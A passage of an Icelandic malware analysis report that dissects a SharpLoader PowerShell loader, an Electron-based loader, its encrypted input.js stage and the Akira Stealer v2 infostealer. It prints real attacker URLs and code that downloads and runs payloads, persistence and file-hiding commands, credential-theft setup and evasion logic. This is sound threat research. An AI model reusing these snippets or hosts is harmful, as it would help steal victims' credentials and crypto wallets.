Notkun hreinna P/Invoke-kalla eins og LoadLibrary, GetProcAddress og VirtualProtect gerir kleift að framkvæma þennan patch dýnamískt og án þess að kalla á nokkur háþrepa API sem EDR-verkfæri gætu vaktað. Þessi aðferð er þjöpp, áhrifarík og skilur eftir sig lágmark af forensic-artifacts.

Í stuttu máli er þessi aðferð til að komast hjá AMSI lágþrepa árás beint á minni antivirus-viðmótsins, framkvæmd á millisekúndum á keyrslutíma. Hún er sterkt dæmi um það hvers vegna hegðunarvöktun og skoðun á minni eru ómissandi í nútíma vörnum á endpointum.

4.3 Meðhöndlun payloads á þrepi 2

Eftir að komist hefur verið hjá AMSI heldur loaderinn áfram og sækir og undirbýr payloadinn á öðru þrepi. Þessi payload er ekki innbyggður í loadernum sjálfum heldur er hann sóttur annaðhvort frá fjartengdum server eða lesinn af diski, allt eftir því hvernig loaderinn er kallaður með $location-breytunni.

Ef staðsetningin byrjar á http er hún túlkuð sem URL og loaderinn notar Get_Stage2() til að sækja payloadinn með HttpWebRequest. Sé hún staðbundin slóð les Get_Stage2disk() innihaldið beint úr skráakerfinu. Í báðum tilvikum er væntanlegt skráarinnihald blob sem er Base64-kóðað, GZip-þjappað og AES-dulkóðað.

Loaderinn framkvæmir svo afkóðunarpípu í fjórum þrepum alfarið í minni:

  1. Base64-afkóðun: umbreytir kóðaða strengnum í hrá bæti. Þessu skrefi er ætlað að hylja hið eiginlega innihald binaries fyrir statískum skoðunartólum og hindra einfalda mynsturleit.
  2. GZip-afþjöppun: afkóðuðu bætin eru send í GZipStream sem afþjappar payloadinn. Þjöppunin minnkar skráarstærðina og bætir enn einu lagi af obfuskun við.
  3. AES-afkóðun: þjöppuðu bætin eru afkóðuð með AES (Rijndael) í CBC-móð. Lykillinn er leiddur á keyrslutíma út frá lykilorðinu sem notandinn gefur, með SHA-256-hashi ásamt PBKDF2 (Rfc2898DeriveBytes) og fastri salt.
  4. Salt fjarlægð: afkóðaða niðurstaðan inniheldur enn salt-forskeyti með fastri lengd (4 bæti). Þessi bæti eru fjarlægð handvirkt til að fá hreina binary-blobbið sem er gilt .NET assembly.

Afkóðunarpípan er keyrð þannig:

byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));
byte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);

Hér er AES_Decrypt() sérsmíðað fall sem pakkar Rijndael-algríminu inn, stillt með 256-bita lykli og 128-bita IV (initialization vector), bæði leidd út frá lykilorðinu.

Helstu athuganir á hönnuninni:

  • Notkun AES-CBC með PBKDF2 gerir brute-forcing á lykilorðinu ekki einfalt mál.
  • Þar sem afkóðun fer fram í minni eru engar milliniðurstöður nokkurn tímann skrifaðar á disk, sem dregur úr forensic-artifacts.
  • Sé rangt lykilorð gefið misheppnast afkóðunin hljóðlega eða framleiðir ógild gögn, sem getur leitt til misheppnaðrar keyrslu eða torrekjanlegra undantekninga.

Í stuttu máli hækkar þessi fjölþrepa meðhöndlun payloads þröskuldinn töluvert fyrir statíska detection, bæði þá sem byggir á signature og þá sem byggir á heuristík. Án þess að keyra kóðann í raun eða skoða hegðun loadersins í þaula eru þeir sem verjast ólíklegir til að finna innbyggða payloadinn nema þeir þekki líka lykilorðið og nákvæmu afkóðunarrökvísina.

4.4 Dýnamísk hleðsla assemblies

Eftir að payloadinn á öðru þrepi hefur verið afkóðaður með árangri er bætaröðin sem út kemur gilt .NET assembly. Í stað þess að skrifa þetta assembly á disk, sem er algengur indicator fyrir antivirus- eða EDR-kerfi, keyrir SharpLoader það beint í minni með reflection:

Assembly a = Assembly.Load(bin);
a.EntryPoint.Invoke(null, new object[] { commands });

Þessi tækni er kölluð fileless keyrsla. Hún er mjög evasiv því hún:

  • Kemur aldrei við diskinn og skilur engin skráarbundin IOC (indicators of compromise) eftir sig
  • Gerir hefðbundna forensic-söfnun erfiðari, því ekkert binary er varðveitt á diski
  • Kemst hjá statískri signature-byggðri detection, því AV-engines byggja oft á skönnun skráa

Ef EntryPoint er ekki static hefur loaderinn vararökvísi:

MethodInfo method = a.EntryPoint;
if (method != null)
{
    object o = a.CreateInstance(method.Name);
    method.Invoke(o, null);
}

Þetta tryggir samhæfni við assemblies sem þurfa hlut sem búið er að frumstilla til að keyra (t.d. public int Main() inni í klasatilviki). Kóðinn býr dýnamískt til tilvik af klasanum og kallar svo á entry point-fallið.

Ásamt því að komast hjá AMSI og afkóðun í minni færir þessi búnaður endanlega payloadinn til keyrslu á hljóðlátan og alfarið fileless hátt, sem er einkennismerki nútíma evasivs malware.

4.5 Breytur á skipanalínu og sveigjanleiki

PowerShell-fallinu Invoke-SharpLoader er ætlað að vera sveigjanlegur wrapper fyrir hvaða .NET-payload sem er. Það styður dýnamískt inntak bæði á staðsetningu payloads og argument, sem gerir kleift að endurnýta eitt loader-tilvik í mörgum aðgerðum eða herferðum.

Studdar breytur:

  • -location (skylda): tilgreinir annaðhvort URL eða staðbundna skráaslóð á dulkóðaða payloadinn á þrepi tvö.
  • -password (skylda): notað til að leiða AES-afkóðunarlykilinn.
  • -argument, -argument2, -argument3 (valkvæmt): þessum er áframsent beint í Main()-fall .NET-assemblysins með reflection.
  • -noArgs: kveikir keyrslu án þess að senda nokkrar breytur í payloadinn á öðru þrepi.

Innanhúss er argumentunum safnað og þeim áframsent þannig:

object[] cmd = args.Skip(2).ToArray();
a.EntryPoint.Invoke(null, new object[] { cmd });

Það þýðir að .NET-payloadinn er væntur til að hafa signature á þessa leið:

static void Main(string[] args)

eða hann fellur snurðulaust yfir í Main()-afbrigðið án breyta í gegnum vararökvísina. Þessi hegðun gerir red teams eða höfundum malware kleift að búa til fjölnota önnur þrep sem geta framkvæmt ólíkar aðgerðir eftir inntakinu, til dæmis ræst implant, safnað kerfisupplýsingum eða hafið C2-samskipti.

Slík einingaskipting og stillanleiki eru lykileinkenni háþróaðra malware-frameworka og sýna hvernig scriptbyggðir loaders geta hagað sér sem mjög aðlögunarhæf keyrsluumhverfi fyrir payloads neðar í keðjunni.

4.6 Dæmi um notkun í raunheimum

Til að sýna keyrslu SharpLoader í raunverulegri herferð má skoða eftirfarandi kall sem sást í umferð:

Invoke-SharpLoader -location "https://cosmoplwnets.xyz/.well-known/pki-validation/calc.enc" -password UwUFufu1 -noArgs

Þetta dæmi undirstrikar dæmigerða notkun SharpLoader:

  • Location-argumentið: URL-ið vísar á fjartengdan server sem hýsir calc.enc, hulinn payload á öðru þrepi. Endapunkturinn liggur undir .well-known-möppu sem virðist lögmæt og er oft notuð við staðfestingu HTTPS-skilríkja, sem hjálpar URL-inu að falla inn í lögmæta vefumferð.
  • Einkenni payloadsins: calc.enc er þrefalt obfuskeruð skrá, Base64-kóðuð, GZip-þjöppuð og AES-dulkóðuð. Þessi obfuskunarpípa tryggir að payloadinn er ógegnsær flestum detection-búnaði nema hann sé keyrður og afkóðaður að fullu í minni.
  • Password-argumentið: strengurinn UwUFufu1 er notaður á keyrslutíma til að leiða AES-lykilinn með SHA-256 og PBKDF2. Án þessa lykilorðs er ekki hægt að afkóða payloadinn, sem gerir greiningu án samhengis utan keyrslu nánast ómögulega.
  • Engin viðbótarargument: rofinn -noArgs gefur til kynna að engar breytur á skipanalínu séu sendar í afkóðaða .NET-assemblyið, sem kveikir sjálfgefna keyrsluleið þess.

Þessi hljóðláta kallkeðja rúmar kjarnatilgang SharpLoader: fileless, aðlögunarhæfa og örugga afhendingu payloads með einfaldri PowerShell-setningagerð og hámarks obfuskun og evasion.

4.7 Samantekt

Smíðin Invoke-SharpLoader er dæmi um afar fágaða og evasiva aðferð til að staging-a malware, sem nýtir innbyggða kerfishluta, reflection og dulkóðun til að starfa nánast alfarið í minni.

Helstu punktar:

  • Komist hjá AMSI: beinn patch í minni á AmsiScanBuffer gerir skoðun antivirus óvirka án þess að kalla á API sem greinast.
  • Örugg meðhöndlun payloads: að sækja dulkóðaða og þjappaða payloads á þrepi tvö tryggir trúnað og bætir við mörgum lögum af evasion.
  • Keyrsla eingöngu í minni: afkóðaðir payloads eru aldrei skrifaðir á disk, sem gerir detection með hefðbundnum skráabundnum skönnurum nánast ómögulega.
  • Einingaskiptur og endurnýtanlegur arkitektúr: með PowerShell-breytum má endurnýta SharpLoader sveigjanlega í mörgum herferðum með ólíkum payloads og keyrsluhegðun.

5. Deep Dive: main.exe – Electron-byggður malware-loader

Við reverse engineering varð ljóst að main.exe, sem Microsoft Defender for Endpoint hafði merkt, var ekki hefðbundið binary heldur Electron-byggður malware-loader. Það var afhent inni í safnskrá sem hét app-64.7z og Updater.exe sótti og pakkaði út á keyrslutíma. Eftir útpökkun líktist uppbyggingin og innihaldið mjög dæmigerðu Electron-forriti.

5.1 Að þekkja Electron-uppbyggingu

Í útdregnu möppunni voru meðal annars þessar skrár:

  • chrome_100_percent.pak, v8_context_snapshot.bin, d3dcompiler_47.dll
  • LICENSES.chromium og LICENSES.electron
  • Stórt main.exe-binary (~150 MB)
  • resources-mappa sem innihélt app.asar og annað binary, elevate.exe

Pökkuð 64-bita Windows-útgáfa af skjáborðsforritinu

Allt þetta eru sterkar vísbendingar um Electron-forrit, sem notar Chromium og Node.js til að pakka JavaScript-byggðum skjáborðsforritum. Tilvist elevate.exe, undirritaðs Microsoft-binaries sem oft er notað til að auka réttindi, vakti frekari tortryggni, því það má misnota til að ræsa barnferli með upphöfnum réttindum.

5.2 Útpökkun og statísk greining (deep dive)

Í stað þess að keyra main.exe valdi ég statíska greiningu til að forðast að kveikja á nokkurri raunverulegri hegðun. Upphafleg tilgáta mín um að main.exe væri byggt með Electron var staðfest þegar app.asar-skráin fannst inni í resources-möppunni. Í Electron-forritum inniheldur þessi safnskrá alla kjarnarökvísi forritsins, svo sem JavaScript-skrár, uppsetningu (package.json) og tilföng, pakkað á sérsniðnu sniði til að auka afköst og obfuskera.

.asar-safnskráin er í grunninn skrifvarið ílát með háum afköstum, sambærilegt .zip en fínstillt fyrir runtime Electron. Þótt hún sé ekki dulkóðuð obfuskerar hún aðgang að kóðanum og gerir statíska greiningu erfiðari nema pakkað sé út.

Til að pakka henni út notaði ég hið opinbera asar-tól sem kemur í gegnum npm. Skrefin voru:

npm install -g asar
asar extract app.asar extracted_app

Skipanirnar hér fyrir ofan drógu innihaldið út í vinnumöppu (extracted_app/), sem afhjúpaði hinn eiginlega JavaScript-forritskóða. Þar var meðal annars:

  • jscryter.js, input.js, obf.js: þessi script mynda malware-rökvísina. jscryter.js virðist stjórna afhendingu payloads, input.js skilgreinir uppsetningarfasta eða skipanarökvísi, og obf.js er mjög obfuskerað script sem líklega inniheldur kjarnarökvísi payloadsins.
  • package.json, package-lock.json: skilgreina runtime-umhverfið
  • node_modules/: inniheldur allar háðar einingar eins og axios, adm-zip, child_process

Útpakkaða innihaldið gaf fullt gagnsæi í rökvísi malware-sins án þess að keyra þyrfti kóðann, sem var forsenda öruggs reverse engineering. Þetta skref staðfesti að main.exe var einvörðungu runtime-wrapper utan um illgjörnu scriptin sem földu sig inni í app.asar.

5.3. Hvað statíska greiningin afhjúpaði

Með því að skoða kóðann handvirkt staðfesti ég að malware-rökvísin var alfarið JavaScript-byggð og keyrði innan runtime Electron. Scriptunum var ætlað að:

  • Sækja dulkóðaðan payload (pyth.zip) frá vara-URL-um
  • Pakka safnskránni út með adm-zip
  • Framkvæma strengjaskipti til að skjóta inn tilteknum credentials eða veskjaheimilisföngum
  • Ræsa Python-skrána sem út kemur (astor.py) í gegnum child_process.exec() og python.exe

Það sem mestu máli skiptir er að loaderinn hafði einnig rökvísi til að afrita Updater.exe inn í AppData-möppu notandans ef það var ekki þegar til staðar, sem styrkti persistence og hélt sýkingarlykkjunni gangandi.

6. Deep Dive: input.js – dulkóðaði JavaScript-payload-loaderinn

input.js er lykilhluti í malware-keðjunni sem greind var og virkar sem miðstöð afkóðunar og keyrslu fyrir dulkóðaðan JavaScript-payload. Þetta script felur kjarnavirkni sína bak við sterkt dulkóðunarlag og sýnir hegðun sína aðeins á keyrslutíma.

6.1 Verklag dulkóðunar og afkóðunar

Við fyrstu sýn inniheldur input.js mjög lítinn læsilegan kóða. Meginhlutverk þess er hins vegar að afkóða og keyra stórt obfuskerað JavaScript-blob sem geymt er inni í scriptinu sjálfu.

6.1.1 Rökvísi afkóðunar

Scriptið skilgreinir decrypt()-fall sem tekur fjórar breytur:

  • encdata: dulkóðuðu Base64-kóðuðu gögnin
  • masterkey: lykilfrasi í plaintext
  • salt: dulkóðunarsalt (Base64)
  • iv: initialization vector fyrir AES-afkóðun (Base64)

Afkóðunin er útfærð með crypto-einingunni sem er innbyggð í Node.js. Hún gengur fyrir sig þannig:

  1. Lykilleiðsla: Scriptið leiðir 256-bita samhverfan lykil með PBKDF2 (Password-Based Key Derivation Function 2):
    const key = crypto.pbkdf2Sync(
      masterkey,
      Buffer.from(salt, "base64"),
      100000,
      32,
      "sha512",
    );
    
    • Hashfall: SHA-512
    • Ítranir: 100.000
    • Lykillengd: 32 bæti (256 bitar)
    • Salt: gefið sem Base64-afkóðað inntak
  2. AES-256-CBC-afkóðun: Leiddi lykillinn er svo notaður til að búa til AES-decipher-hlut:
    const decipher = crypto.createDecipheriv(
      "aes-256-cbc",
      key,
      Buffer.from(iv, "base64"),
    );
    

    Dulkóðaði payloadinn er afkóðaður með venjulegum CBC-móð (Cipher Block Chaining):
    let decrypted = decipher.update(encdata, "base64", "utf8");
    decrypted += decipher.final("utf8");
    
  3. Dýnamísk keyrsla: Afkóðaði JavaScript-kóðinn er aldrei skrifaður á disk. Í staðinn er hann keyrður dýnamískt í minni með Function-smiðnum:
    new Function("require", decrypted)(require);
    

    Þessi tækni gerir fileless keyrslu mögulega og dregur úr líkum á detection frá hefðbundnum antivirus-engines sem byggja á skönnun á diski.

Þessi aðferð sýnir lagskipta vörn gegn reverse engineering með því að sameina lykilleiðslu, sterka dulkóðun og dýnamíska keyrslu í minni.

Lykilefni og dulkóðuð gögn

Scriptið inniheldur eftirfarandi harðkóðuð inntök:

  • Dulkóðuð gögn: stórt Base64-kóðað blob
  • Masterlykill: 9uNXNGt8/7kN7ZiEvy1OdYNpbcnzkERs
  • Salt: maXtklzMEZRY9dbul/XPSw== (Base64-kóðað)
  • IV: HwK6sOz7FBbL+YsrOxtYUg== (Base64-kóðað)

Allt þetta er byggt beint inn í frumkóða input.js.

6.2 Hegðun payloadsins eftir afkóðun

Eftir afkóðun verður innbyggði payloadinn fullgilt JavaScript-forrit sem framkvæmir eftirfarandi illgjörnu aðgerðir:

6.2.1 Undirbúningur umhverfis

Afkóðaði payloadinn byrjar á því að setja upp keyrsluumhverfi sitt með innbyggðum Node.js-einingum. Þessi uppsetningarfasi tryggir að allar nauðsynlegar slóðir og vinnumöppur séu skýrt skilgreindar áður en nokkur illgjörn hegðun hefst.

  • Ákvörðun tímabundinnar möppu: Malware-ið kallar á os.tmpdir() til að finna slóðina á tímabundna möppu kerfisins. Þetta er algeng taktík í malware því tímabundnar möppur eru yfirleitt skrifanlegar og endpoint-varnir skoða þær síður.
    const tempDir = os.tmpdir();
    
  • Bygging slóða: Scriptið byggir svo algjörar slóðir fyrir tvær mikilvægar skrár:
    • pyth.zip: safnskráin sem inniheldur hinn eiginlega Python-byggða stealer á öðru þrepi
    • bnd.exe: valkvæm keyranleg skrá sem gæti verið persistence-bakdyr eða viðbótarpayload
    const tempFile = path.join(tempDir, "pyth.zip");
    const binderFile = path.join(tempDir, "bnd.exe");
    

Þessi uppsetning slóða felur setningagerð slóða sem er sértæk fyrir stýrikerfið og gerir malware-inu kleift að starfa hnökralaust á hvaða Windows-kerfi sem er. Hún leggur einnig grunninn að þeim búnaði til að sækja og pakka út skrám sem á eftir kemur.

6.2.2 Sókn payloads með varaleiðum

Annar meginfasi afkóðaða JavaScript-payloadsins felur í sér að sækja illgjarna ZIP-safnskrá frá fjartengdum heimildum. Þessi búnaður er hannaður með marglaga varaleiðum til að auka viðnámsþrótt og aðgengi.

  • Aðalhlekkurinn fundinn í gegnum Rentry.co Scriptið byrjar á því að finna dýnamískt URL frá texta-paste-þjónustu. Það sendir GET-beiðni á:
    const url = "https://rentry.co/7vzd22fg36hfdd33/raw";
    

    Þetta skilar URL-streng í plaintext sem vísar á hina eiginlegu staðsetningu pyth.zip-safnskrárinnar. Að nota framsendingarbúnað á þennan hátt er algeng obfuskunartækni, hún hylur hina raunverulegu illgjörnu URL og gerir statíska detection erfiðari.
  • Keyrsla niðurhalsins Fundna URL-ið er svo kallað með Axios-safninu og svarstraumi:
    const fileResponse = await axios.get(fileUrl, { responseType: "stream" });
    

    Skráin er skrifuð á disk sem pyth.zip í tímabundnu möppu kerfisins:
    const writer = fs.createWriteStream(tempFile);
    fileResponse.data.pipe(writer);
    

    Þessu niðurhali er pakkað inn í Promise til að tryggja að því ljúki samstillt áður en frekari rökvísi keyrir.
  • Vara-URL Ef Rentry-hlekkurinn bregst prófar scriptið harðkóðaða varastaði:
    https://cosmicdust.zip/.well-known/pki-validation/pyth.zip
    https://cosmoplanets.net/well-known/pki-validation/pyth.zip
    

    Þessi lén eru uppbyggð til að virðast vera hluti af stöðluðum TLS-staðfestingarmöppum, hugsanlega til að líkja eftir slóðum Let's Encrypt eða lénastaðfestingar og draga úr tortryggni. Hver varaleið er reynd aftur með sömu straum- og skráaskrifsrökvísi.
  • Þol og obfuskun Þessi varaleiðabúnaður tryggir að malware-ið hafi margar leiðir til að sækja payloadinn á öðru þrepi. Notkun dýnamísks vísis (rentry.co) og margra spegla til að falla yfir á gerir malware-ið þolnara gegn niðurtekt, blokkun og DNS-sinkholes.

Þessi fasi sýnir vandaða rekstrarskipulagningu höfunda malware-sins, með lagskiptri afritun og vel dulbúnum afhendingarinnviðum.

  • Sækir pyth.zip frá URL-inu sem fannst
  • Ef það bregst prófar það varaspegla:
    • https://cosmicdust.zip/.well-known/pki-validation/pyth.zip
    • https://cosmoplanets.net/well-known/pki-validation/pyth.zip

6.2.3 Útdráttur payloads og meðhöndlun hans

Eftir að pyth.zip-safnskráin hefur verið sótt og vistuð á disk heldur malware-ið áfram og dregur út innihald hennar og undirbýr það til keyrslu. Þetta er gert með Node.js-safninu adm-zip, sem gerir kleift að vinna með ZIP-skrár í kóða.

  • ZIP-útdráttur:
    const zip = new AdmZip(tempFile);
    zip.extractAllTo(tempDir, true);
    

    Þetta dregur allt innihald safnskrárinnar út í tímabundna möppu kerfisins. true-flaggið tryggir að skrifað sé yfir allar skrár sem þegar eru til.
  • Innihald safnskrárinnar: Safnskráin pyth.zip inniheldur fullpakkað Python-verkefni, þar á meðal:
    • Möppuuppbyggingu sem líkist lögmætum Python-pakka
    • Nokkrar Python-einingar og háðar einingar
    • Lykilskrána astor.py sem liggur á Crypto/Util/astor.py og er megin-stealer-payloadinn
  • Útskipting staðgengla: Malware-ið skiptir dýnamískt út fyrirfram skilgreindum staðgenglum inni í astor.py til að skjóta inn uppsetningargögnum sem árásaraðilinn stýrir, svo sem:
    • URL á Discord-webhook
    • Heimilisföng kryptóveskja (BTC, ETH, DOGE, LTC, XMR o.s.frv.)
    • Auðkenni notanda (%USERID%)
    • Flagg um villustöðu (%ERRORSTATUS%)
    fs.readFile(extractedDir + "\Crypto\Util\astor.py", 'utf8', (err, data) => {
      let updatedFile = data
        .replace("%DISCORD%", <webhook>)
        .replace("%ADDRESSBTC%", <btc_address>)
        ...
        .replace("%ERRORSTATUS%", displayError ? "true" : "false");
    
      fs.writeFile(extractedDir + "\Crypto\Util\astor.py", updatedFile, 'utf8');
    });
    

Þessi fasi dýnamískrar meðhöndlunar er nauðsynlegur. Með því að fresta innsetningu gildanna sem árásaraðilinn stýrir til keyrslutíma kemst payloadinn hjá statískri detection og stjórnandinn getur breytt skotmörkum og endapunktum exfiltration án þess að pakka safnskránni upp á nýtt.

  • Skiptir út staðgengilsstrengjum í astor.py:
    • Discord-webhook: %DISCORD%
    • Heimilisföng veskja: %ADDRESSBTC%, %ADDRESSETH% o.s.frv.
    • Auðkenni notanda og villuflögg

6.2.4 Keyrsla malware-sins

  • Eftir að innspýtingu staðgengla í astor.py er lokið hefur malware-ið keyrslu stealersins með kerfiskalli
    exec("python.exe Crypto\\Util\\astor.py");
    

Þessi skipun er keyrð með child_process.exec-fallinu í Node.js og ræsir innbyggða Python-payloadinn í sérstöku ferli. Þetta tiltekna keyrslumynstur, python.exe með argumentinu Crypto\Util\astor.py, sást í telemetríugögnum sem Microsoft Defender for Endpoint safnaði, sem gerir það að áreiðanlegu detection-artifacti. Í reynd lítur keyrslukeðjan svona út:

Öll keyrslukeðja malware-sins, eins og hún sást í telemetríu Microsoft Defender for Endpoint, fylgir þessari röð:

  • main.exe (Electron-byggt ílát) kallar á node.exe
  • node.exe ræsir cmd.exe
  • cmd.exe ræsir python.exe
  • python.exe keyrir skrána Crypto\Util\astor.py

6.2.5 Styrking persistence

Til að tryggja langvarandi viðveru á sýkta kerfinu hefur afkóðaði JavaScript-payloadinn rökvísi til að koma persistence á að nýju með því að afrita upphaflega binary-ið (Updater.exe) á falinn stað inni í notandaprófílnum.

Markmappa

Skráin er afrituð í möppu sem líkir eftir lögmætum Windows-hlutum:

%APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe

Þessi staðsetning er valin viljandi:

  • %APPDATA% er skrifanlegt fyrir venjulega notendur og krefst engra kerfisstjóraréttinda.
  • Heiti möppunnar líkir eftir lögmætum Microsoft-forritsmöppum, sem gerir hana síður grunsamlega.

Afritunarbúnaður:

Afritunaraðgerðin notar fs.copyFileSync()-fallið í Node.js:

fs.copyFileSync(
  process.env.PORTABLE_EXECUTABLE_FILE,
  path.join(
    process.env.APPDATA,
    "Microsoft",
    "Internet Explorer",
    "UserData",
    "Updater.exe",
  ),
);
  • PORTABLE_EXECUTABLE_FILE er umhverfisbreyta sem margir packers (svo sem Electron) setja sjálfkrafa til að vísa á slóð þess binaries sem er í keyrslu.
  • path.join(...) byggir fullgilda áfangaslóð sem virkar á ólíkum stýrikerfum.

Þessi rökvísi keyrir aðeins ef skráin er ekki þegar til staðar og virkar þannig sem sjálfsviðgerðarbúnaður sem endurheimtir dropperinn ef honum er eytt.

Hlutverk í malware-keðjunni Tilvist þessa afritaða Updater.exe tryggir að:

  • Loaderinn getur kveikt á sjálfum sér aftur þótt kerfið sé endurræst.
  • Öll sýkingarkeðjan (sem leiðir til main.exe, node.exe og loks astor.py) getur hafist á nýjan leik án þess að reiða sig á hefðbundinn persistence-búnað í registry, sem er líklegri til að vera vaktaður.

6.2.6 Valkvæm keyrsla binders

Auk þess að sækja og keyra megin-stealer-payloadinn (astor.py) hefur afkóðaða JavaScriptið einnig rökvísi til að sækja og ræsa, ef svo er stillt, aðra keyranlega skrá sem kölluð er "binder". Þennan hluta má nota fyrir persistence, til að dreifa athygli eða til að dreifa fleiri malware-einingum.

Skilyrt keyrsla

Binder-rökvísin er aðeins virkjuð ef tiltekið flagg er sett:

enableBinder = true;

Í sýninu sem greint var var þetta gildi sjálfgefið false, en rökvísin er enn innbyggð í payloadinum og einfalt mál að virkja hana í annarri herferð eða öðru afbrigði.

Rökvísi niðurhals binders

Ef hún er virkjuð reynir scriptið að sækja utanaðkomandi binary frá URL-i sem skilgreint er með staðgenglinum %BINDERURL%:

const fileUrl = "%BINDERURL%";
const fileResponse = await axios.get(fileUrl, { responseType: "stream" });
const writer = fs.createWriteStream(binderFile);
fileResponse.data.pipe(writer);
  • bnd.exe-skráin er vistuð í tímabundnu möppu kerfisins.
  • Eins og pyth.zip er binary-ið sótt með Axios í straumi til að forðast að hlaða öllu binary-inu í minni.

Keyrslustefna

Eftir að niðurhali lýkur kallar scriptið á sótta binary-ið í gegnum cmd.exe, sem tryggir að það keyri í nýju shell-samhengi:

exec(`start cmd /c start ${binderFile}`, ...);

Til að auka áreiðanleika hefur scriptið rökvísi til að reyna aftur:

setTimeout(() => {
  exec(...);
}, 5000);

Þetta tryggir að þótt fyrsta keyrslan bregðist (t.d. vegna álags á kerfinu eða kappræðisaðstæðna) reyni malware-ið að ræsa binary-ið aftur eftir skamma stund.

Notkunartilvik binders

Þótt nákvæmur tilgangur binder-binaries komi ekki fram í þessu tiltekna sýni (vegna staðgengils-URL-sins) eru slíkir hlutar almennt notaðir til að:

  • Setja upp eða ræsa meginhluta malware-sins að nýju
  • Birta fölsuð uppsetningarforrit eða tálbeituforrit
  • Dreifa frekari spyware, bakdyrum eða ransomware
  • Breyta kerfisstillingum eða gera öryggiseiginleika óvirka

6.3 Samantekt

input.js er mjög obfuskeraður og dulkóðaður JavaScript-loader sem notar dulkóðun að iðnaðarstaðli (PBKDF2 + AES-256-CBC) til að vernda sinn raunverulega tilgang. Eftir afkóðun starfar hann sem fullburða loader á öðru þrepi sem:

  • Sækir frekara malware (pyth.zip)
  • Breytir hegðun payloadsins dýnamískt
  • Ræsir hið eiginlega stealer-script (astor.py)
  • Styrkir persistence með því að endurheimta Updater.exe

Samsetning dulkóðunar, dýnamískrar keyrslu, einingaskiptrar sóknar payloads og fileless reksturs sýnir mjög háþróaðan JavaScript-byggðan malware-arkitektúr sem nýtir getu Node.js inni í Electron-skel.

7. DeepDive: Akira Stealer v2 (astor.py)

7.1. Virkni í stórum dráttum

Akira Stealer v2 (astor.py) er fjölvirkt og einingaskipt infostealer-malware skrifað í Python. Því er ætlað að exfiltrera breitt safn viðkvæmra notandagagna, bæði úr Chromium- og Firefox-byggðum browsers, úr kryptóveskjum, samskiptaforritum (t.d. Discord, Telegram) og kerfisskrám. Það hefur fágaðan búnað til að komast hjá greiningu, persistence í registry, yfirtöku á klippiborði og aðferðir til innspýtingar í minni.

7.2 Persistence og dreifing

7.2.1 Samhengi keyrslukeðjunnar

astor.py er ekki keyrt eitt og sér heldur er það lokapayloadinn í árásarkeðju með margar þrep:

Updater.exe
  └── main.exe (Electron app)
        └── cmd.exe
              └── python.exe astor.py

Þessi skipulagða keyrslukeðja gerir hverju þrepi kleift að komast hjá detection með því að framselja illgjarna virkni til næsta þreps. Updater.exe hefur röðina og er ábyrgt fyrir því að viðhalda persistence.

7.2.2 Persistence byggt á registry

Akira kemur persistence á með því að skrifa registry-lykil undir Run-slóð núverandi notanda. Það tryggir að Updater.exe sé keyrt við hverja ræsingu kerfisins:

command = f'reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v "Realtek Audio" /t REG_SZ /d "{path}\\Updater.exe" /f'
os.system(command)
  • Slóð: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • Heiti gildis: Realtek Audio (valið til að virðast meinlaust)
  • Slóð payloads: yfirleitt í AppData\Roaming\Microsoft\Internet Explorer\UserData\\Updater.exe

Þessi skipun skrifar autorun-færsluna hljóðlega í gegnum PowerShell eða innbyggða os.system()-keyrslu.

7.2.3 Að fela skrána

Til að hylja binary-ið enn frekar fyrir notendum og einföldum AV-skönnunum er skráin merkt með hidden- og system-eigindum:

subprocess.run(["attrib", "+h", "+s", destination_path])
  • +h: merkir skrána sem falda
  • +s: merkir skrána sem varða kerfisskrá

Þetta fjarlægir skrána í reynd úr venjulegum sýnum í Windows Explorer og gerir hana enn ósýnilegri.

7.2.4 Aðferðir til endursýkingar

Malware-ið styður sjálfsafritun og endursýkingu með því að yfirtaka Electron-forrit. Nánar tiltekið skiptir það út app.asar-safnskránni í Electron-byggðum skjáborðsveskjum (t.d. Exodus, Atomic Wallet) til að keyra illgjarnt JavaScript þegar lögmæta forritið er ræst.

Rökvísin leitar að þekktum slóðum veskjaforrita:

path = os.getenv("APPDATA") + "\\Exodus\\resources\\app.asar"

Ef markskráin er til er skrifað yfir hana með vopnaðri safnskrá. Það tryggir persistence jafnvel eftir að Updater.exe hefur verið fjarlægt handvirkt.

7.3 Vörn gegn greiningu og evasion (klasi: VmProtect)

7.3.1 Inngangur

Í nútíma malware-herferðum er það lykilatriði að komast hjá greiningu í sýndar- og sandbox-umhverfum til að haldast ósýnilegur. Akira Stealer v2 hefur heildstæða einingu til detection á VM og sandbox (VmProtect) sem finnur af hörku umhverfi sem greinendur stýra og stöðvar keyrslu í þeim. Þessi skýrsla tekur í sundur hverja detection-aðferð, birtir nákvæm kóðabrot, þar á meðal fullar skilgreiningar svartlista, og lýsir þeirri greiningaraðferð sem var notuð.

7.3.2 Yfirlit

VmProtect-klasinn útfærir öfluga detection á VM og sandbox til að stöðva keyrslu í tæka tíð í greiningarumhverfum. Hann styður tvö detection-stig:

  • Stig 1: léttar og hraðar athuganir
  • Stig 2: djúpar og heildstæðar prófanir

Ef VmProtect.isVM(level) skilar True kallar malware-ið á sys.exit() og hindrar frekari greiningu.

7.3.3 Detection-stig

Eiginleiki Stig 1 Stig 2
HTTPSimulation ✔️ ✔️
Svartlisti tölvuheita ✔️ ✔️
Svartlisti notandareikninga ✔️ ✔️
Svartlisti vélbúnaðar-UUID ❌ ✔️
API-athugun á opinberri hýsingu ❌ ✔️
Vísbendingar úr registry og GPU ❌ ✔️
Bakgrunnsferli sem drepur tasks ✔️ ✔️

7.3.4 Arkitektúr VmProtect

VmProtect-klasinn býður upp á eftirfarandi megin-aðferðir:

  • checkUUID()
  • checkComputerName()
  • checkUsers()
  • checkHosting()
  • checkHTTPSimulation()
  • checkRegistry()
  • killTasks()
  • isVM(level)

Hver aðferð skilar bólsku gildi eða keyrir evasion-skref. isVM-wrapperinn safnar þessum athugunum saman eftir því hvaða stig er tilgreint.

Aðferð Kveikt af Lýsing
checkUUID() isVM(2) Svartlisti WMI-UUID
checkComputerName() isVM(1,2) Samsvörun á hostname úr umhverfisbreytum
checkUsers() isVM(1,2) Svartlisti notandanafna
checkHosting() isVM(2) Athugun á IP-hýsingaraðila í gegnum ip-api.com
checkHTTPSimulation() isVM(1,2) Detection á HTTPS-hlerun
checkRegistry() isVM(2) Artifacts úr registry og GPU-driverum
